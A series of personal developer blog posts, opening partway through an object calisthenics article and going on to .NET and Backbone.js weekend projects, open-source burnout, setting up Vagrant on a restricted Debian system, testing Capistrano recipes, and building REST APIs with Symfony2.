A picture is worth a thousand words, so here is the explanation of this rule in picture. Note that it relies on Rule 3: Wrap All Primitives And Strings.

Source: https://github.com/TheLadders/object-calisthenics#rule-8-no-classes-with-more-than-two-instance-variables

The main question was Why two attributes? My answer was Why not? Not the best explanation but, in my opinion, the main idea is to distinguish two kinds of classes, those that maintain the state of a single instance variable, and those that coordinate two separate variables. Two is an arbitrary choice that forces you to decouple your classes a lot.

9. No Getters/Setters/Properties

My favorite rule. It could be rephrased as Tell, don’t ask.

It is okay to use accessors to get the state of an object, as long as you don’t use the result to make decisions outside the object. Any decisions based entirely upon the state of one object should be made inside the object itself.

That is why getters/setters are often considered evil. Then again, they violate the Open/Closed Principle.

Let’s take an example:

// Game
private int score;

public void setScore(int score) {
    this.score = score;
}

public int getScore() {
    return score;
}

// Usage
game.setScore(game.getScore() + ENEMY_DESTROYED_SCORE);

In the code above, the getScore() is used to make a decision, you choose how to increase your score, instead of leaving this responsibility to the Game instance.

A better solution would be to remove the getters/setters, and to provide methods that make sense. Remember, you must tell the class to do something, and you should not ask it. In the following, you tell the game to update your score as you destroyed ENEMY_DESTROYED_SCORE enemies.

// Game
public void addScore(int delta) {
    score += delta;
}

// Usage
game.addScore(ENEMY_DESTROYED_SCORE);

It is game’s responsibility to determine how to update the score.

In this case, you could keep the getScore() as you may want to display it somewhere on the UI, but keep in mind that setters should not be allowed.

Conclusion

If you don’t feel comfortable with these rules, it is ok, but trust me when I tell you that they can be used in real life. Try them in your spare time, by refactoring your Open Source projects for instance. I think it is just a matter of practice. Some rules are easy to follow, and may help you.

Slides

TL;DR

9 steps to better software design today, by Jeff Bay:

Only One Level Of Indentation Per Method
Don’t Use The ELSE Keyword
Wrap All Primitives And Strings
First Class Collections
One Dot Per Line
Don’t Abbreviate
Keep All Entities Small
No Classes With More Than Two Instance Variables
No Getters/Setters/Properties

On being a .NET developer for a weekend

2013-05-09T00:00:00+00:00

Even though I learned C# and the .NET platform at the University, I only started to get exposed to all these Microsoft technologies some weeks ago. My current job is somewhat tied to software built with the .NET platform.

To be honest, I had tons of preconceived ideas about Microsoft and its programming technologies. One of them was the fact that you can certainly build open source software in .NET. And many do. But it never feels natural. It never feels right. […] It is just not a native part of the Microsoft .NET culture to make things open source, especially not the things that suck.

However, I always considered Visual Studio to be one of the best IDEs (as much as I love vim, I don’t think that’s an IDE).

The plan

I decided to rewrite TravisLight, a weekend project I introduced in a previous “On being a XXX developer for a weekend” article. My goals were to learn Windows Presentation Foundation (WPF), the Model-View-ViewModel design pattern, and to become familiar with some more Microsoft tools.

The codename of my project is TravisLight.Net. It is released under the MIT license and publicly available on CodePlex, Microsoft’s open source project hosting platform. CodePlex is more or less GitHub for .NET developers. It offers both Git and Team Foundation Server (TFS) repositories.

Team Foundation Server

TFS is not only a source code management system but also a complete collaboration platform including an issue-tracking system and a build server (among other things). To me, this looks like to SVN with superpowers. Yes, it’s a centralized version control system!

Compared to Git, I miss the staging area and the disconnected mode. Creating beautiful changesets¹ is not super easy either, and I’d also add that locking files to edit them is a pain.

Most things happening in Team Foundation Server are centered around “work items”. It is (more or less) like an issue (or bug) in some other bug tracker. For each changeset, one can attach one or more work items. This is actually cool.

The next step to build TravisLight.Net was to organize my code. I decided to follow the MVVM pattern.

Model-View-ViewModel

The Model-View-View Model (MVVM) design pattern is used to separate the business and presentation layers of an application from its user interface. Both the Model and the View layers are the same as in the Model-View-Controller (MVC) design pattern. However, the View is not aware of the Model, and vice-versa.

The ViewModel layer acts as the glue between the Model and the View. The ViewModel also exposes methods and/or commands that help to maintain the state of the View and to manipulate the Model as the result of actions on the View.

The View and the ViewModel rely on data-binding and commands to communicate. Data binding is the process that establishes a connection between the user interface and business logic. When the data changes its value, the elements that are bound to the data reflect changes automatically.

In Visual Studio, I created a “solution” with one “project” per layer. A solution is a container for projects, and a project can be seen as a component of an application. A project for each layer seemed like a good idea to me (separation of concerns FTW).

Now, TravisLight.Net is a desktop application that displays build statuses from Travis-CI. This service provides a REST API that returns JSON data. What do we need? A library to manipulate JSON data of course. Where/how do we find that? NuGet to the rescue!

Introducing NuGet

NuGet (pronounced “New Get” and not “Nugget”) is a fantastic Visual Studio extension that makes it easy to install and update third-party libraries and tools. This is a package manager for .NET developers. At the time of writing, there are more than 11600 packages, including many of the Microsoft libraries!

I decided to use NuGet without committing packages to source control, which seemed to be a good idea. Visual Studio automatically downloaded the missing packages before building the project.

Now that I have introduced some tools and concepts, let’s focus on some implementation details.

Working with JSON

I used Json.NET, a powerful JSON framework for .NET, to manipulate JSON data. And to be honest, deserializing data could not be easier.

The DeserializeObject() method takes a string as argument, and returns an object. This is a generic method so one can specify the object’s type they expect to get:

using Newtonsoft.Json;
using TravisLight.Model.Entity;
...

List<Repo> repositories = JsonConvert.DeserializeObject<List<Repo>>(json);

Json.NET automatically maps a JSON key to a property in the C# class. If we want to define our own mapping, we can add a JsonProperty annotation to the properties. In the following code, the Id property is automatically mapped to an id entry in JSON and the LastBuildResult property is explicitely mapped to a last_build_result entry in JSON:

using Newtonsoft.Json;
using System;

namespace TravisLight.Model.Entity
{
    public class Repo
    {
        #region properties

        public int Id
        {
            get;
            set;
        }

        ...

        [JsonProperty("last_build_result")]
        public Nullable<bool> LastBuildResult
        {
            get;
            set;
        }

        #endregion
    }
}

These two code snippets above are enough to deserialize the following JSON content:

[
  { "id": 123, "last_build_result": null },
  { "id": 123, "last_build_result": "2012-06-21T12:00:59Z" }
]

The nullable type

You may have noticed the use of a Nullable<T> type above. The API may or may not return a value for the last_build_result entry. If a value is provided, it is a boolean, otherwise it is null. The Nullable type allows to either have a value or none.

if (LastBuildResult.HasValue)
{
    return LastBuildResult.Value ? Status.Failed : Status.Passed;
}

As we can see in the example above, it is really expressive. It is worth mentioning that the C# language is feature-rich: generics, extension methods, reflection, LINQ, lambda expressions, asynchronous programming, and a lot more!

LINQ and lambda expressions on collections

Language-INtegratedQuery also known as LINQ extends powerful query capabilities to the language syntax of C#. This works with DataSet, XML and objects such as List<T>.

I used LINQ to sort the repositories according to a rank (i.e. according to the build statuses, the failing projects come first) in the ApiRepository:

return repositories.OrderBy(repository => repository.Rank).ToList();

In the code snippet above, the => sign represents a lambda expression which is also known as a closure (an anonymous function with a context).

Meet the layers

I only covered the Model layer until now so let’s talk about the View and the ViewModel layers.

The View has been written in XAML. It is a declarative markup language with a large set of components to build graphical user interfaces.

In TravisLight.Net, there is a single window (MainWindow) that displays a single “UserControl” named ListView. This view renders the list of repositories with their status thanks to the ListViewModel.

The ListViewModel receives an instance of IRepository as constructor’s argument, and creates an ObservableCollection containing the repositories. This ViewModel is also responsible for refreshing this collection (using a timer for now).

Dependency inversion principle

By following the MVVM pattern, I ended up with a well-decoupled application, and it was worth using programming to the interface as well as a Dependency Injection Container. It was particularly useful for testing (which we will see in a moment).

Microsoft provides a library called Unity that is a lightweight, and extensible Dependency Injection Container. We can configure this container either in XML or C#.

A common pattern with MVVM seems to be the use of a Bootstrapper, i.e. a class that prepares the container before starting the application. Mine looks like this:

namespace TravisLight.Main
{
    class Bootstrapper
    {
        #region attributes

        private IUnityContainer container = new UnityContainer();

        #endregion

        public Bootstrapper()
        {
            container.RegisterType<IRepository, ApiRepository>();
            container.RegisterType<ListViewModel, ListViewModel>();
            container.RegisterType<ListView, ListView>();
            container.RegisterType<MainWindow, MainWindow>();
        }

        public void Run()
        {
            Application app = new App();
            app.Run(container.Resolve<MainWindow>());
        }

        [STAThread]
        static void Main()
        {
            Bootstrapper bootstrapper = new Bootstrapper();
            bootstrapper.Run();
        }
    }
}

As we can see, it also contains a Main() method. That is the entry point of the application. Unity is configured in the constructor and the Run() method passes the MainWindow to the application.

Unit testing

Microsoft maintains MSTest, a unit testing framework. As usual, it is well-integrated with Visual Studio and TFS.

That being said, I didn’t quite like its syntax, it is not super expressive. Fortunately, I found another unit testing framework named NUnit. Much better in my opinion!

namespace ViewModel.Test
{
    [TestFixture]
    public class ListViewModelTest
    {
        private IUnityContainer container;

        [TestFixtureSetUp]
        public void TestFixtureSetUp()
        {
            container = new UnityContainer();
            container.RegisterType<ListViewModel, ListViewModel>();
            container.RegisterType<IRepository, Mock.Repository>();
        }

        [Test]
        public void TestRepositoriesProperty()
        {
            ListViewModel listViewModel = container.Resolve<ListViewModel>();

            Assert.That(listViewModel.Repositories, Has.Count.EqualTo(1));
            Assert.That(listViewModel.Repositories, Has.All.InstanceOf<Repo>());
        }
    }
}

Each assertion is close to an actual sentence in plain English:

Assert that [the] repositories [collection] has count equal to 1.

In the code above, you may have noticed the TestFixtureSetUp() method I used to inject a mocked instance of IRepository instead of the ApiRepository implementation. Thanks, Dependency Injection!

Conclusion

Yet another great moment! This weekend project was a nice experience and I learned a lot.

Microsoft has pretty good tools/technologies these days, though they require Windows. I should probably look at Mono, but there is no support for C# 4.5 yet.

As for the future, I still have thing I’d like to explore, e.g. Entity Framework and the Stack Exchange Open Source projects 😇

A “changeset” in TFS is similar to a “commit” in SVN. ↩

Burnout.

2013-02-20T00:00:00+00:00

You won’t be able to manage everything, they said. Guess what? They were right, I am not able to manage everything, and I will try to explain why in this blog post.

First of all, I am a PhD student, not a full-time developer. My daily job is about reading papers, understanding applications I am working on, and finding a way to automatically test them. Part of my PhD allows me to give lectures (in web development, PHP, and security). My research area doesn’t allow me to work on Open Source projects yet, so I don’t do Open Source at work (neither at the University).

However, I am one of the 50 most active users on GitHub (wait, it is subjective though), I manage a few Open Source projects from weekend projects (e.g. TravisLight) to well-known projects such as Propel or capifony. I don’t have any business built on top of one of these projects, and I don’t get paid for supporting any of these projects. This is Open Source after all!

To be honest, I am really addicted to Open Source because I love working on new projects, releasing new libraries that could be useful (like Geocoder I wrote for fun in one night), and also maintaining existing projects. I learnt so much thanks to the Open Source community, so I try to do my best to contribute back to this community.

But now, I feel really overbooked. I spend my free time replying to emails, reviewing Pull Requests, and understanding issues. Free time means each free time frame (in my car, while eating, etc.) here. And when I have enough time, I can code. I write tests, I tag new versions, I ensure each project I manage actually works. This is really time consuming because I need to loop over all my projects, all the time. That’s why I often release a bunch of new versions at once. But I love that! Seriously.

Thing is, I sleep 4 to 6 hours a day, I never stop, I can reply to emails even while partying with friends. It’s not healthy. It happens because I have the same workload I had when I was a developer (or a student). And, I did not talk about Twitter, RSS feeds and so on, to stay up to date. It just cannot work. It is not my job, and even if I am afraid to be egoist, I must admit I cannot manage everything, and Open Source is not my priority anymore.

That is why I have to stop working on Open Source projects for a while. In the next two weeks, I will try to be offline. And I will see if I can manage my time in a better way. In the meanwhile, if you are interested in taking the lead on one of my projects (or in contributing), please drop me an email, and you will become my hero!

New year, new life, new job

2013-01-02T00:00:00+00:00

Today was my first day at Michelin and that’s a significant turning point in my life.

I just started a PhD in software testing and verification. I’ll be doing research on optimizing and reusing tests for applications controlling production machines in factories, using a model-based testing approach. That’s a terrific challenge!

I will also be teaching PHP and Symfony at IUT de Clermont-Fd. Because I will be quite busy this year, I decided to close down my own company and dedicate my free time to Open Source.

Last but not the least, I wish you a Happy New Year and all the best for 2013!

On being a frontend developer for a weekend

2012-12-24T00:00:00+00:00

Two weeks ago, I open-sourced TravisLight, a build monitoring tool – also known as a build wall – for Travis-CI. That was a weekend project I did for fun but also to embrace frontend development.

When I was at Nelmio, I was mainly a backend dev, even though I worked on some JavaScript stuff. I spent most of my time writing APIs for the frontend developers, not JavaScript apps. That needed to change!

The beginning

I started to read Backbone Fundamentals as I wanted to learn Backbone.js. Backbone.js is a JavaScript framework that offers a structure to write a web application.

Since working on a project is the best way to learn, I decided to write a Backbone.js application using the Travis-CI API. TravisLight – the project I developed over a weekend – was something I always wanted in order to manage my own open source projects. I needed a tool that was simple and clear. That was the perfect project to start, especially for a weekend!

Instead of using Underscore.js, I used Lo-Dash, an alternative to Underscore.js delivering consistency, customization, performance, and extra features as they say. I also used RequireJS and Moment.js. In order to manage all these dependencies, I needed a tool: Bower (from Twitter) looked like the right tool.

Bower, a package manager for the web

Bower is a package manager for the web (i.e. for JS/CSS libraries). Even if it is more a package downloader for now, it’s worth using it to avoid putting libraries in git directly.

Bower relies on a component.json file that looks like this:

{
  "name": "travis-light",
  "dependencies": {
    "jquery": "~1.8.3"
  }
}

Running bower install will install the dependencies into a components/ folder. To add a new library, we can run bower install <lib> --save to install it. This command will also update the component.json file automatically.

At the beginning of the development phase, I needed a tool to perform some tasks on my application like running jshint or compiling my files. I tried Grunt, a build tool written in JavaScript, and it turned out to be a good choice.

Grunt, the JavaScript build tool

Grunt is a task-based command line build tool for JavaScript projects. At first glance, this tool seems hard to use but once you get it, it’s magic! You can lint your files, minify your JS/CSS files, run the test suite, and so on.

In TravisLight, I mainly used Grunt to package the application. This includes:

compiling the JavaScript files
compiling the CSS files
using the compiled files into the HTML markup
copying the required libraries

Thanks to the grunt-contrib-requirejs plugin, compiling the JavaScript files is straightforward:

requirejs: {
  compile: {
    options: {
      name: "main",
      baseUrl: "js/",
      mainConfigFile: "js/main.js",
      out: "dist/compiled.js"
    }
  }
}

Compiling the CSS files in TravisLight is a two-step task. First, all the images in the CSS have to be embedded using the grunt-image-embed plugin:

imageEmbed: {
  application: {
    src: 'css/application.css',
    dest: 'dist/application-embed.css',
    deleteAfterEncoding : false
  }
}

Then, the CSS files are minified using the grunt-contrib-mincss plugin:

mincss: {
  compress: {
    files: {
      'dist/compiled.css': [
        'css/bootstrap.min.css',
        'dist/application-embed.css'
      ]
    }
  }
}

At this point, the last task is compiling the HTML to use the JS and CSS compiled files. This is achieved by using the grunt-targethtml plugin:

targethtml: {
  dist: {
    src: 'index.html',
    dest: 'dist/index.html'
  }
}

The index.html file looks like:

<!doctype html>
<html lang="en">
  ...

  <body data-api-url="https://api.travis-ci.org">
    <!--(if target dist)>
    <script data-main="compiled" src="js/require.js"></script>
    <!(endif)-->
    <!--(if target dummy)><!-->
    <script data-main="js/main" src="components/requirejs/require.js"></script>
    <!--<!(endif)-->
  </body>
</html>

target dummy (the default) loads the code in development. This is a nice way to keep a single HTML file with the ability to switch from development to production (or whatever environment you want). That was an issue I was unable to solve until I found this plugin!

Last but not least, the grunt-contrib-copy plugin is used to copy some important files to the dist/ folder (which is where the final build of the application is located):

copy: {
  dist: {
    files: {
      'dist/js/require.js': 'components/requirejs/require.js'
    }
  }
}

Running grunt package performs all these tasks. See the TravisLight’s grunt.js file for more details, especially the aliases.

With a great build system and lots of code written already, I needed to write tests so I looked at some of the existing JavaScript testing libraries. I already knew QUnit but I wanted to use something different. I ended up using Mocha and Chai.

Testing a Backbone.js application

In the JavaScript world, there are plenty of testing libraries such as QUnit, Mocha, Jasmine, Chai, Sinon.js, Expect.js, Should.js, and a lot more that I probably don’t even know.

As I wrote before, I used Mocha and Chai. These libraries can be installed using npm (the Node.js package manager). This tool uses a package.json file to define both the “normal” and “dev” dependencies:

{
  "name": "TravisLight",
  "version": "0.0.1",
  "dependencies": {
  },
  "devDependencies": {
    "mocha": "~1.7.4",
    "chai": "~1.4.0"
  }
}

A node_modules/ directory contains the different packages specified in this package.json file and installed by running npm install.

From there, I created a new file (test/index.html) that executes the test suite in a browser:

<html>
  <head>
    <meta charset="utf-8">
    <title>TravisLight Test Suite</title>
    <link rel="stylesheet" href="../node_modules/mocha/mocha.css" />
  </head>
  <body>
    <div id="mocha"></div>
    <script src="../node_modules/chai/chai.js"></script>
    <script src="../node_modules/mocha/mocha.js"></script>
    <script src="../components/jquery/jquery.min.js"></script>
    <script src="../components/requirejs/require.js"></script>
    <script src="setup.js"></script>
    <script>
      require(
        [
          '../test/router.test',
        ],
        function () {
          mocha.run();
        }
      );
    </script>
  </body>
</html>

First, Mocha and Chai are loaded, followed by jQuery and RequireJS. Then, a setup.js file is loaded. It contains the Mocha and RequireJS configurations as well as two global variables (assert and expect) that are used in the test files:

var assert = chai.assert,
expect = chai.expect;

mocha.setup({
  ui: 'bdd'
});

require.config({
  baseUrl: '../js/',
  ...
});

I decided to follow the Behavior Driven Development style but this isn’t mandatory. Here is an example of a test file for the TravisLight’s router:

define([
  'router'
], function (router) {
  "use script";

  describe('router', function () {
    it('should be an instance of Backbone.Router', function () {
      expect(router).to.be.an.instanceOf(Backbone.Router);
    });

    it('should have a routes property', function () {
      expect(router.routes).to.be.an('object');
    });
  });
});

You will find more tests in this test/ directory.

Achievement unlocked! I wrote a JavaScript application that is tested.

Using Travis-CI with JavaScript projects

I am a big fan of Travis-CI and I wanted to put TravisLight on it. Thanks to Grunt, it couldn’t be easier!

The grunt-mocha plugin allows to use Mocha and PhantomJS to run a test suite. Here is the TravisLight’s configuration for this plugin:

mocha: {
  all: [ 'test/index.html' ]
}

A simple grunt mocha runs the test suite using PhantomJS (a headless browser):

$ grunt mocha
Running "mocha:all" (mocha) task
Testing index.html...................OK
>> 19 assertions passed (0.14s)

Done, without errors.

Not bad, right? However, Travis-CI needs to be configured with a .travis.yml file. JavaScript projects have to use the node_js environment on Travis-CI and the application requires a set of libraries installed with Bower.

language: node_js

node_js:
  - 0.8

before_script:
  - export PATH=\$PATH:`npm bin`
  - bower install

Travis-CI automatically runs npm install and npm test. This second command is configured in the package.json file:

{
  ...

  "scripts": {
    "test": "./node_modules/grunt/bin/grunt test"
  }
}

The end

I sincerely enjoyed this weekend project. Working on a real project, even a small one like TravisLight, allowed me to discover new things and understand a bit better what it is like to be a frontend developer.

I also kinda felt in love with the JavaScript community. There is a lot of awesome libraries and frameworks these days! Great stuff, looking forward to writing more JavaScript in the future.

Installing Vagrant in a restricted environment

2012-12-06T00:00:00+00:00

Lately, I had to install Vagrant in a restricted environment. By that, I mean an infrastructure with restricted permissions for our users, disk quotas, NFS volumes and a stable operating system: Debian Squeeze32. This work has been done in collaboration with the sysadmin of my University.

Installation

At the time of writing, Vagrant needs VirtualBox 4.0 or upper, but the latest VirtualBox version available for Debian stable is 3.2.10 OSE. Fortunately, Debian Backports provide VirtualBox 4.0.x:

# /etc/apt/sources.list
deb http://backports.debian.org/debian-backports squeeze-backports main

Installing VirtualBox becomes easy:

apt-get -t squeeze-backports install virtualbox virtualbox-dkms

The virtualbox-dkms package is required to compile the module. If you want a graphical user interface, you should install virtualbox-qt too.

Also, if you use a virtualization solution (KVM for instance), you should unload its module (rmmod(8) is your friend).

Now, let’s install Vagrant. Last stable version is 1.0.5, and you can find packages at: downloads.vagrantup.com/tags/v1.0.5 (this link no longer works).

wget http://files.vagrantup.com/packages/be0bc66efc0c5919e92d8b79e973d9911f2a511f/vagrant_1.0.5_i686.deb
dpkg -i vagrant_1.0.5_i686.deb

Customizing the default directories

As I said in the introduction, users have disk quotas (500Mo) and they can’t easily use Vagrant for two reasons:

VirtualBox stores its VMs in ~/VirtualBox VMs/ by default
Vagrant stores its boxes in ~/.vagrant.d/ by default

The solution is to change these two directories. Thanksfully, Vagrant provides a VAGRANT_HOME environment variable. You can easily change the default Vagrant directory with:

export VAGRANT_HOME=/path/to/vagrant

In our case, we used /usr/local/vagrant as the main Vagrant directory and we set it for all users. That allowed us to import a set of boxes for our users.

Let’s do the same thing for VirtualBox! Err… no. There is no environment variable defined for VirtualBox but we can still configure VirtualBox using vboxmanage:

vboxmanage setproperty machinefolder /path/to/virtualbox

VBoxManage setproperty is useful to change global settings. The command above changes the default machine folder (~/VirtualBox VMs by default).

We created a tiny shell script named vagrant, located in the PATH of our users, to run this command and then forward the other arguments to Vagrant. The reason is quite simple, there is no way to run VBoxManage using Vagrant before everything else. I opened an issue for that (see: #1247).

To avoid conflicts, you can use $USER to define a machine folder per user:

vboxmanage setproperty machinefolder "/usr/local/virtualbox/$USER"

So far so good, our users can run Vagrant to install VMs.

The `initramfs` prompt (of death)

We tried the lucid32 Vagrant box, which is an official box, but that didn’t work. This was an issue related to the box itself. VirtualBox couldn’t boot it and an initramfs prompt was displayed. Most of the time, this prompt appears because no disk can be found.

That’s why we tried to change the disk controller. We removed the SATA controller and attached the disk to the IDE controller. With this configuration, we were able to boot the image, and to log in. This has been reported as well.

The “fix” was to switch from a SATA controller to an IDE controller. Then again, it can be done using VBoxManage:

vboxmanage storagectl <UUID> --name "SATA Controller" --remove
vboxmanage storageattach <UUID> --storagectl "IDE Controller" --port 0 --device 0 --type hdd --medium /path/to/box-disk1.vmdk

Vagrant provides a way to customize a VM thanks to the config.vm.customize parameter:

config.vm.customize ["modifyvm", :id, "--memory", 1024]

However, we decided to patch the boxes instead of using this parameter. One reason was that we didn’t know how to get the path to the vmdk file.

We were able to boot a lucid32 VM but a new issue appeared: NFS. In order to share the current working directory with the VM, we used this configuration in the Vagrantfile:

config.vm.share_folder("v-root", "/vagrant", ".", :nfs => true)

It worked fine without NFS set to true but it was quite slow. Thus, NFS was a requirement.

The surprise

I dug into the code to understand how NFS was managed and why it was asking for admin credentials. I was really suprised while reading the code. There was no way to configure Vagrant to control the NFS part and, sadly, it was asking the root password because of a call to sudo su root.

There is no way to give the root password to our users (mainly students). We ended up patching Vagrant to use exportfs and a shell script to perform sed. nfsd is always up so there is no need to restart it and exportfs does a decent job. Since /etc is not writable for everyone, we used a shell script to change the content of /etc/exports using a simple sed -i -e. Now, both commands are sudoable.

And, that’s it! Our users can use Vagrant as usual.

Useful tips

Debugging Vagrant can be really useful, especially when you start playing with VM customization. To enable logging, use the VAGRANT_LOG environment variable:

VAGRANT_LOG=INFO vagrant up

Hardware virtualization should be enabled if you want to run 64-bit VMs on a 32-bit host. The VirtualBox documentation isn’t super clear about that in the chapter about hardware vs software virtualization.

Conclusion

Vagrant needs some improvements to be more easily configurable and a bit safer in my opinion. However, workarounds exist. In the end, Vagrant is a great tool and it just works!

Testing Capistrano recipes for dummies

2012-11-06T00:00:00+00:00

A couple months ago, I took the lead of capifony, a set of Capistrano recipes for Symfony projects. I tried to revamp the project and one of my goals was to add tests. This article presents my work on that topic.

Making your recipe testable

In order to make a Capistrano recipe testable, a common practice is to create a module that can extends a Capistrano configuration instance:

module MyRecipe
  def self.load_into(configuration)
    configuration.load do
      # Your code here
      # ...
    end
  end
end

if Capistrano::Configuration.instance
  MyRecipe.load_into(Capistrano::Configuration.instance)
end

The last three lines are needed to keep the original behavior of your recipe, assuming you have an existing recipe that doesn’t follow this practice.

Now you are ready to test your recipe, but how? capistrano-spec to the rescue! capistrano-spec brings RSpec to the Capistrano world so that you can easily test your recipes. It has been created by Josh Nichols.

Installing capistrano-spec

The first step is to create a spec/spec_helper.rb file used to load everything to run your tests. This file should look like this:

# Bundler
require 'rubygems'
require 'bundler/setup'

$LOAD_PATH.unshift(File.dirname(__FILE__))
$LOAD_PATH.unshift(File.join(File.dirname(__FILE__), '..', 'lib'))

require 'capistrano-spec'
require 'rspec'
require 'rspec/autorun'

# Add capistrano-spec matchers and helpers to RSpec
RSpec.configure do |config|
  config.include Capistrano::Spec::Matchers
  config.include Capistrano::Spec::Helpers
end

# Require your lib here
require 'my_recipe'

As you may have noticed, Bundler is used to manage the dependencies. The Gemfile file should contain the following content:

source 'http://rubygems.org'

gemspec

gem 'rake'
gem 'rspec'
gem 'capistrano-spec'

gemspec loads all the dependencies located in the .gemspec file, which is used to build your gem. For more information, please read Using Bundler with Rubygem gemspecs.

Also, a best practice here is to rename your Gemfile to .gemfile because it is used for testing purposes only. It’s not a big deal but it makes your project a bit “cleaner”.

Run the command below to install your dependencies:

BUNDLE_GEMFILE=.gemfile bundle install

You also need a Rakefile file to configure Rake. It is similar to make and it allows to run a set of tasks written in Ruby. In order to run your test files (“examples” in RSpec), you need a spec task. The following snippet is all you need:

require 'rspec/core/rake_task'

RSpec::Core::RakeTask.new(:spec) do |spec|
  spec.rspec_opts = '--color --format=documentation -I lib -I spec'
  spec.pattern = "spec/**/*_spec.rb"
end

task :default => :spec

Now you probably want to write your first test file, and you are right! Let’s do it!

Writing your first test

Create a new file named spec/my_recipe_spec.rb and add the content below:

require 'spec_helper'

describe "MyRecipe" do
  before do
    @configuration = Capistrano::Configuration.new
    @configuration.extend(Capistrano::Spec::ConfigurationExtension)

    MyRecipe.load_into(@configuration)
  end

  # Your code here
end

We create a Capistrano configuration instance and we extend it with capistrano-spec. This configuration instance is injected into our module.

Try to run the spec task using the following command:

BUNDLE_GEMFILE=.gemfile bundle exec rake spec

You should see:

Finished in 0.00006 seconds
0 examples, 0 failures

If everything looks good, congratulations! Time to write your examples. Yes, in Rspec, you don’t really write “tests”, you write executable examples of the expected behaviors of your code.

First, declare the @configuration variable as subject:

subject { @configuration }

It tells RSpec what we are going to test. Instead of writing something like:

it { @configuration.should have_run('pwd') }

You will be able to write:

it { should have_run('pwd') }

It’s way more readable.

Now, you can start your first context:

context "when running my:command" do
  before do
    @configuration.find_and_execute_task('my:command')
  end

  it { should have_run('echo "Hello, World!"') }
end

A context block always starts with either When or With, and should describe one feature in a given context. In this context, we try to find and execute the task my:command and ensure it has run echo "Hello, World!".

If this task takes parameters like a :name variable, you should write a new context to test it. The @configuration object has all its methods available in your recipe. You can call the set method to change a parameter:

context "when running my:command" do
  before do
    @configuration.set :name, "John"
    @configuration.find_and_execute_task('my:command')
  end

  it { should have_run('echo "Hello, John!"') }
end

Other matchers are available like have_gotten or have_uploaded depending on what you need. Look at the capistrano-spec README for more information (it also contains useful examples). That’s all folks!

REST APIs with Symfony2: The Right Way

2012-08-02T00:00:00+00:00

Designing a REST API is not easy. No, really! If you want to design an API the right way, you have to think a lot about everything, and either to be pragmatic or to be an API terrorist. It’s not just about GET, POST, PUT, and DELETE. In real life, you have relations between resources, the need to move a resource somewhere else (think about a tree), or you may want to set a specific value to a resource.

This article will sum up everything I learnt by building different APIs, and how I used Symfony2, the FOSRestBundle, the NelmioApiDocBundle, and Propel. Let’s say we will build a User API.

Do you speak…?

An API is used by clients. They need to know how to talk to your API, and a decent documentation is a good start, and will be described at the end of this article.

Actually, you also need to know how to talk to them too, and in the HTTP protocol, there is something named the Accept header. Basically, your clients will send a header with the format they want to get.

Thanks to the FOSRestBundle, everything is done for you. No need to handle this part yourself, but you have to configure which formats you want to support. Most of the time, you will use JSON, and if you take care of semantic problematics, you will send XML. This part will be described later too.

GET what?

The GET HTTP verb is idempotent. That means whatever you can do, when you get a resource, you get the same response, and nothing should be altered. You will use GET to return resources: either a collection, or a single resource. In Symfony2, the routing definition would be:

# src/Acme/DemoBundle/Resources/config/routing.yml

acme_demo_user_all:
    pattern:  /users
    defaults: { _controller: AcmeDemoBundle:User:all, _format: ~ }
    requirements:
        _method: GET

acme_demo_user_get:
    pattern:  /users/{id}
    defaults: { _controller: AcmeDemoBundle:User:get, _format: ~ }
    requirements:
        _method: GET
        id: "\d+"

The UserController class would contain the following code:

<?php

namespace Acme\DemoBundle\Controller;

use Acme\DemoBundle\Model\User;
use Acme\DemoBundle\Model\UserQuery;
use FOS\RestBundle\Controller\Annotations as Rest;
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;

class UserController
{
    /**
     * @Rest\View
     */
    public function allAction()
    {
        $users = UserQuery::create()->find();

        return array('users' => $users);
    }

    /**
     * @Rest\View
     */
    public function getAction($id)
    {
        $user = UserQuery::create()->findPk($id);

        if (!$user instanceof User) {
            throw new NotFoundHttpException('User not found');
        }

        return array('user' => $user);
    }
}

Instead of using a ParamConverter, I always use to fetch the object myself in get*() methods. You will know later why, just trust me for the moment, it’s better.

Status code matter for your clients, so if the user doesn’t exist, use a NotFoundHttpException exception which returns a response with a 404 status code.

By using the View annotation, you will render the user object using the right format according to the user Accept header. Using an alias (Rest) for this annotation is a trick to avoid confusion with the View object we will discover later. Basically, the annotation relies on this class. It’s just a matter of taste whether you like annotations or not.

Last thing, the allAction() method has the same behavior, you fetch all your users, and then you return them.

A user has four properties: an id, an email, a username and a password. You probably don’t want to expose the password for some good reasons. The easiest way to achieve that is to configure the serializer. I use to configure it in YAML:

# In Propel, the most part of the code is located in base classes
# src/Acme/DemoBundle/Resources/config/serializer/Model.om.BaseUser.yml
Acme\DemoBundle\Model\om\BaseUser:
  exclusion_policy: ALL
  properties:
    id:
      expose: true
    username:
      expose: true
    email:
      expose: true

I exclude all properties by default, it allows me more control on what I really want to expose. It doesn’t matter with four attributes, but it’s always better to adopt this strategy, it’s like configuring a firewall after all.

Basically, you will get the following JSON response:

{
  "user": {
    "id": 999,
    "username": "xxxx",
    "email": "xxxx@example.org"
  }
}

Easy right? But, you will probably need to create, update, or delete your users, and that’s what we will discover in the next sections.

POST ‘it

Creating a resource implies the use of the POST HTTP verb. But how do you get data? How do you validate data? And how do you create your new resource? These three questions have more than one answer or strategy.

You could use the deserialization mechanism to create an object from the input serialized data. There is an interesting work in progress by @beberlei about Form deserialization. It’s a bit different than just using the Serializer component but it seems easier.

I use to use the awesome Symfony Forms to do everything at once. So let’s write a Form type to create our users. Using the PropelBundle, you could use the propel:form:generate command:

php app/console propel:form:generate @AcmeDemoBundle User

It will create the following form type:

<?php

namespace Acme\DemoBundle\Form\Type;

use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolverInterface;

class UserType extends AbstractType
{
    /**
     * {@inheritdoc}
     */
    public function buildForm(FormBuilderInterface $builder, array $options)
    {
        $builder->add('username');
        $builder->add('email', 'email');
        $builder->add('password', 'password');
    }

    /**
     * {@inheritdoc}
     */
    public function setDefaultOptions(OptionsResolverInterface $resolver)
    {
        $resolver->setDefaults(array(
            'data_class'        => 'Acme\DemoBundle\Model\User',
            'csrf_protection'   => false,
        ));
    }

    /**
     * {@inheritdoc}
     */
    public function getName()
    {
        return 'user';
    }
}

The only things I tweaked are the email and password types, and I disabled the CSRF protection. In a REST API, you probably use an security layer like OAuth for example. Having a CSRF protection in a REST context doesn’t make sense.

Now, you want to add validation rules, and thanks to the Validator component, it’s really powerful. I definitely love this component because it becomes simple to validate all data you want in a safe way.

